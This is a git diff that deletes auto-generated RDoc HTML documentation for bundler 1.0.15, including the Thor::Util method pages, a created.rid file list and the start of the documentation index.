-Returns the thor classes declared inside the given class.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="thor-classes-in-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 74</span>
-74:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">thor_classes_in</span>(<span class="ruby-identifier">klass</span>)
-75:       <span class="ruby-identifier">stringfied_constants</span> = <span class="ruby-identifier">klass</span>.<span class="ruby-identifier">constants</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">c</span><span class="ruby-operator">|</span> <span class="ruby-identifier">c</span>.<span class="ruby-identifier">to_s</span> }
-76:       <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">subclasses</span>.<span class="ruby-identifier">select</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">subclass</span><span class="ruby-operator">|</span>
-77:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">subclass</span>.<span class="ruby-identifier">name</span>
-78:         <span class="ruby-identifier">stringfied_constants</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">subclass</span>.<span class="ruby-identifier">name</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-node">&quot;#{klass.name}::&quot;</span>, <span class="ruby-value str">''</span>))
-79:       <span class="ruby-keyword kw">end</span>
-80:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="thor-root-method" class="method-detail ">
-				<a name="method-c-thor_root"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">thor_root</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the root where thor files are located, dependending on the OS.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="thor-root-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 189</span>
-189:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">thor_root</span>
-190:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">user_home</span>, <span class="ruby-value str">&quot;.thor&quot;</span>).<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/\\/</span>, <span class="ruby-value str">'/'</span>)
-191:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="thor-root-glob-method" class="method-detail ">
-				<a name="method-c-thor_root_glob"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">thor_root_glob</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the files in the thor root. On Windows <a
-href="Util.html#method-c-thor_root">thor_root</a> will be something like
-this:
-</p>
-<pre>
-  C:\Documents and Settings\james\.thor
-</pre>
-<p>
-If we don&#8217;t gsub the \ character, Dir.glob will fail.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="thor-root-glob-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 200</span>
-200:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">thor_root_glob</span>
-201:       <span class="ruby-identifier">files</span> = <span class="ruby-constant">Dir</span>[<span class="ruby-node">&quot;#{thor_root}/*&quot;</span>]
-202: 
-203:       <span class="ruby-identifier">files</span>.<span class="ruby-identifier">map!</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
-204:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span>(<span class="ruby-identifier">file</span>) <span class="ruby-operator">?</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">file</span>, <span class="ruby-value str">&quot;main.thor&quot;</span>) <span class="ruby-operator">:</span> <span class="ruby-identifier">file</span>
-205:       <span class="ruby-keyword kw">end</span>
-206:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="user-home-method" class="method-detail ">
-				<a name="method-c-user_home"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">user_home</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="user-home-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 165</span>
-165:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">user_home</span>
-166:       <span class="ruby-identifier">@@user_home</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;HOME&quot;</span>]
-167:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;HOME&quot;</span>]
-168:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;USERPROFILE&quot;</span>]
-169:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;USERPROFILE&quot;</span>]
-170:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;HOMEDRIVE&quot;</span>] <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;HOMEPATH&quot;</span>]
-171:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;HOMEDRIVE&quot;</span>], <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;HOMEPATH&quot;</span>])
-172:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;APPDATA&quot;</span>]
-173:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;APPDATA&quot;</span>]
-174:       <span class="ruby-keyword kw">else</span>
-175:         <span class="ruby-keyword kw">begin</span>
-176:           <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">&quot;~&quot;</span>)
-177:         <span class="ruby-keyword kw">rescue</span>
-178:           <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span><span class="ruby-operator">::</span><span class="ruby-constant">ALT_SEPARATOR</span>
-179:             <span class="ruby-value str">&quot;C:/&quot;</span>
-180:           <span class="ruby-keyword kw">else</span>
-181:             <span class="ruby-value str">&quot;/&quot;</span>
-182:           <span class="ruby-keyword kw">end</span>
-183:         <span class="ruby-keyword kw">end</span>
-184:       <span class="ruby-keyword kw">end</span>
-185:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/created.rid b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/created.rid
deleted file mode 100644
index 84d1f307..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/created.rid
+++ /dev/null
@@ -1,71 +0,0 @@
-Tue, 14 Jun 2011 09:53:17 -0500
-lib/bundler/vendor/thor/actions/create_file.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/gem_helper.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/rubygems_ext.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/installer.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle-benchmark	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/parser.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions/directory.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-config.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-install.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/templates/Executable	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/parser/argument.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/shell/color.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/setup.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/invocation.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/shell/html.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/util.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/remote_specification.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/index.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/gem_tasks.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle-exec	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/shell.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-benchmark.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions/inject_into_file.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-update	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/parser/arguments.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-package	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/rubygems_integration.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-config	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vlad.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/graph.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/vendor/thor/parser/options.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/core_ext/ordered_hash.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/task.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/dsl.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/vendor/thor/core_ext/hash_with_indifferent_access.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/shared_helpers.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/base.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/definition.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle-package.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-exec.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/environment.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/lockfile_parser.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle-install	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions/empty_directory.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/spec_set.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/deployment.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/man/bundle.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/resolver.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/runtime.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/lazy_specification.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/vendor/thor/core_ext/file_binary_read.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/shell/basic.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/actions/file_manipulation.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/source.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/dependency.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/version.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/cli.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/settings.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/capistrano.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/templates/Gemfile	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/ui.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler.rb	Tue, 14 Jun 2011 09:52:47 -0500
-lib/bundler/vendor/thor/parser/option.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/bundle-update.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/error.rb	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/man/gemfile.5.txt	Tue, 14 Jun 2011 09:52:48 -0500
-lib/bundler/vendor/thor/version.rb	Tue, 14 Jun 2011 09:52:48 -0500
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-<?xml version="1.0" encoding="UTF-8"?>
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>bundler-1.0.15 Documentation</title>
-
-	<link type="text/css" media="screen" href="rdoc.css" rel="stylesheet" />
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-	<script src="js/jquery.js" type="text/javascript" charset="utf-8"></script>
-	<script src="js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
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-<body class="indexpage">
-
-	
-	<h1>bundler-1.0.15 Documentation</h1>
-
-	
-	<p>This is the API documentation for 'bundler-1.0.15 Documentation'.</p>
-	
-
-	
-	
-	<h2>Files</h2>
-	<ul>
-		
-			<li class="file"><a href="lib/bundler/man/bundle.html">bundle</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-config.html">bundle-config</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-install.html">bundle-install</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-package.html">bundle-package</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-update.html">bundle-update</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-		
-			<li class="file"><a href="lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-		
-			<li class="file"><a href="lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-		
-	</ul>
-	
-
-	<h2 id="classes">Classes/Modules</h2>
-	<ul>
-		
-		<li class="module"><a href="Bundler.html">Bundler</a></li>
-		
-		<li class="class"><a href="Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-		
-		<li class="class"><a href="Bundler/CLI.html">Bundler::CLI</a></li>
-		
-		<li class="class"><a href="Bundler/Definition.html">Bundler::Definition</a></li>
-		
-		<li class="class"><a href="Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-		
-		<li class="class"><a href="Bundler/Dependency.html">Bundler::Dependency</a></li>
-		
-		<li class="class"><a href="Bundler/Deployment.html">Bundler::Deployment</a></li>
-		
-		<li class="class"><a href="Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-		
-		<li class="class"><a href="Bundler/Dsl.html">Bundler::Dsl</a></li>
-		
-		<li class="class"><a href="Bundler/DslError.html">Bundler::DslError</a></li>
-		
-		<li class="class"><a href="Bundler/Environment.html">Bundler::Environment</a></li>
-		
-		<li class="class"><a href="Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-		
-		<li class="module"><a href="Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-		
-		<li class="class"><a href="Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-		
-		<li class="class"><a href="Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-		
-		<li class="class"><a href="Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-		
-		<li class="class"><a href="Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-		
-		<li class="class"><a href="Bundler/GitError.html">Bundler::GitError</a></li>
-		
-		<li class="class"><a href="Bundler/Graph.html">Bundler::Graph</a></li>
-		
-		<li class="class"><a href="Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-		
-		<li class="class"><a href="Bundler/Index.html">Bundler::Index</a></li>
-		
-		<li class="class"><a href="Bundler/Installer.html">Bundler::Installer</a></li>
-		
-		<li class="class"><a href="Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-		
-		<li class="class"><a href="Bundler/InvalidSpecSet.html">Bundler::InvalidSpecSet</a></li>
-		
-		<li class="class"><a href="Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-		
-		<li class="class"><a href="Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-		
-		<li class="module"><a href="Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-		
-		<li class="class"><a href="Bundler/PathError.html">Bundler::PathError</a></li>
-		
-		<li class="class"><a href="Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-		
-		<li class="class"><a href="Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-		
-		<li class="class"><a href="Bundler/Resolver.html">Bundler::Resolver</a></li>
-		
-		<li class="class"><a href="Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-		
-		<li class="class"><a href="Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-		
-		<li class="class"><a href="Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-		
-		<li class="class"><a href="Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-		
-		<li class="module"><a href="Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-		
-		<li class="module"><a href="Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-		
-		<li class="class"><a href="Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-		
-		<li class="class"><a href="Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-		
-		<li class="class"><a href="Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-		
-		<li class="class"><a href="Bundler/Runtime.html">Bundler::Runtime</a></li>
-		
-		<li class="class"><a href="Bundler/Settings.html">Bundler::Settings</a></li>
-		
-		<li class="module"><a href="Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-		
-		<li class="module"><a href="Bundler/Source.html">Bundler::Source</a></li>
-		
-		<li class="class"><a href="Bundler/Source/Git.html">Bundler::Source::Git</a></li>
-		
-		<li class="class"><a href="Bundler/Source/Path.html">Bundler::Source::Path</a></li>
-		
-		<li class="class"><a href="Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-		
-		<li class="class"><a href="Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-		
-		<li class="class"><a href="Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-		
-		<li class="class"><a href="Bundler/UI.html">Bundler::UI</a></li>
-		
-		<li class="class"><a href="Bundler/UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-		
-		<li class="class"><a href="Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
-		
-		<li class="class"><a href="Bundler/VersionConflict.html">Bundler::VersionConflict</a></li>
-		
-		<li class="class"><a href="Thor.html">Thor</a></li>
-		
-		<li class="module"><a href="Thor/Actions.html">Thor::Actions</a></li>
-		
-		<li class="module"><a href="Thor/Actions/ClassMethods.html">Thor::Actions::ClassMethods</a></li>
-		
-		<li class="module"><a href="Thor/Base.html">Thor::Base</a></li>
-		
-		<li class="module"><a href="Thor/Base/ClassMethods.html">Thor::Base::ClassMethods</a></li>
-		
-		<li class="class"><a href="Thor/DynamicTask.html">Thor::DynamicTask</a></li>
-		
-		<li class="class"><a href="Thor/Error.html">Thor::Error</a></li>
-		
-		<li class="class"><a href="Thor/HiddenTask.html">Thor::HiddenTask</a></li>
-		
-		<li class="module"><a href="Thor/Invocation.html">Thor::Invocation</a></li>
-		
-		<li class="module"><a href="Thor/Invocation/ClassMethods.html">Thor::Invocation::ClassMethods</a></li>
-		
-		<li class="class"><a href="Thor/InvocationError.html">Thor::InvocationError</a></li>
-		
-		<li class="class"><a href="Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-		
-		<li class="class"><a href="Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
-		
-		<li class="module"><a href="Thor/Shell.html">Thor::Shell</a></li>
-		
-		<li class="class"><a href="Thor/Shell/Basic.html">Thor::Shell::Basic</a></li>
-		
-		<li class="class"><a href="Thor/Shell/Color.html">Thor::Shell::Color</a></li>
-		
-		<li class="class"><a href="Thor/Shell/HTML.html">Thor::Shell::HTML</a></li>
-		
-		<li class="class"><a href="Thor/Task.html">Thor::Task</a></li>
-		
-		<li class="class"><a href="Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-		
-		<li class="class"><a href="Thor/UnknownArgumentError.html">Thor::UnknownArgumentError</a></li>
-		
-		<li class="module"><a href="Thor/Util.html">Thor::Util</a></li>
-		
-		<li class="module"><a href="Gem.html">Gem</a></li>
-		
-		<li class="class"><a href="Gem/Dependency.html">Gem::Dependency</a></li>
-		
-		<li class="class"><a href="Gem/Platform.html">Gem::Platform</a></li>
-		
-		<li class="class"><a href="Gem/Requirement.html">Gem::Requirement</a></li>
-		
-		<li class="class"><a href="Gem/Specification.html">Gem::Specification</a></li>
-		
-	</ul>
-
-	<h2 id="methods">Methods</h2>
-	<ul>
-		
-			<li><a href="Bundler.html#method-c-app_cache">::app_cache &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-app_config_path">::app_config_path &mdash; Bundler</a></li>
-		
-			<li><a href="Thor.html#method-c-banner">::banner &mdash; Thor</a></li>
-		
-			<li><a href="Bundler.html#method-c-bin_path">::bin_path &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler/Index.html#method-c-build">::build &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-c-build">::build &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler.html#method-c-bundle_path">::bundle_path &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-cache">::cache &mdash; Bundler</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-camel_case">::camel_case &mdash; Thor::Util</a></li>
-		
-			<li><a href="Thor.html#method-c-check_unknown_options%21">::check_unknown_options! &mdash; Thor</a></li>
-		
-			<li><a href="Bundler.html#method-c-configure">::configure &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-configure_gem_home_and_path">::configure_gem_home_and_path &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-default_gemfile">::default_gemfile &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-default_lockfile">::default_lockfile &mdash; Bundler</a></li>
-		
-			<li><a href="Thor.html#method-c-default_task">::default_task &mdash; Thor</a></li>
-		
-			<li><a href="Bundler/Deployment.html#method-c-define_task">::define_task &mdash; Bundler::Deployment</a></li>
-		
-			<li><a href="Bundler.html#method-c-definition">::definition &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-c-deprecate">::deprecate &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Thor.html#method-c-desc">::desc &mdash; Thor</a></li>
-		
-			<li><a href="Bundler.html#method-c-environment">::environment &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-c-evaluate">::evaluate &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-find_by_namespace">::find_by_namespace &mdash; Thor::Util</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-find_class_and_task_by_namespace">::find_class_and_task_by_namespace &mdash; Thor::Util</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-c-from_lock">::from_lock &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-c-from_lock">::from_lock &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-c-from_lock">::from_lock &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-globs_for">::globs_for &mdash; Thor::Util</a></li>
-		
-			<li><a href="Thor.html#method-c-help">::help &mdash; Thor</a></li>
-		
-			<li><a href="Bundler.html#method-c-home">::home &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler/Installer.html#method-c-install">::install &mdash; Bundler::Installer</a></li>
-		
-			<li><a href="Bundler.html#method-c-install_path">::install_path &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-c-install_tasks">::install_tasks &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler.html#method-c-load">::load &mdash; Bundler</a></li>
-		
-			<li><a href="Bundler.html#method-c-load_gemspec">::load_gemspec &mdash; Bundler</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-load_thorfile">::load_thorfile &mdash; Thor::Util</a></li>
-		
-			<li><a href="Thor.html#method-c-long_desc">::long_desc &mdash; Thor</a></li>
-		
-			<li><a href="Thor.html#method-c-map">::map &mdash; Thor</a></li>
-		
-			<li><a href="Thor.html#method-c-method_option">::method_option &mdash; Thor</a></li>
-		
-			<li><a href="Thor.html#method-c-method_options">::method_options &mdash; Thor</a></li>
-		
-			<li><a href="Bundler.html#method-c-mkdir_p">::mkdir_p &mdash; Bundler</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-namespace_from_thor_class">::namespace_from_thor_class &mdash; Thor::Util</a></li>
-		
-			<li><a href="Thor/Util.html#method-c-namespaces_in_content">::namespaces_in_content &mdash; Thor::Util</a></li>
-		
-			<li><a href="Bundler/Graph.html#method-c-new">::new &mdash; Bundler::Graph</a></li>
-		
-			<li><a href="Bundler/UI/Shell.html#method-c-new">::new &mdash; Bundler::UI::Shell</a></li>
-		
-			<li><a href="Thor/Actions.html#method-c-new">::new &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/UI/RGProxy.html#method-c-new">::new &mdash; Bundler::UI::RGProxy</a></li>
-		
-			<li><a href="Thor/Task.html#method-c-new">::new &mdash; Thor::Task</a></li>
-		
-			<li><a href="Thor/Shell.html#method-c-new">::new &mdash; Thor::Shell</a></li>
-		
-			<li><a href="Bundler/RemoteSpecification.html#method-c-new">::new &mdash; Bundler::RemoteSpecification</a></li>
-		
-			<li><a href="Bundler/LazySpecification.html#method-c-new">::new &mdash; Bundler::LazySpecification</a></li>
-		
-			<li><a href="Bundler/DepProxy.html#method-c-new">::new &mdash; Bundler::DepProxy</a></li>
-		
-			<li><a href="Bundler/LockfileParser.html#method-c-new">::new &mdash; Bundler::LockfileParser</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-c-new">::new &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Bundler/Index.html#method-c-new">::new &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/GraphNode.html#method-c-new">::new &mdash; Bundler::GraphNode</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-c-new">::new &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-c-new">::new &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-c-new">::new &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-c-new">::new &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-c-new">::new &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/VersionConflict.html#method-c-new">::new &mdash; Bundler::VersionConflict</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-c-new">::new &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-c-new">::new &mdash; Bundler::GemHelper</a></li>
-		
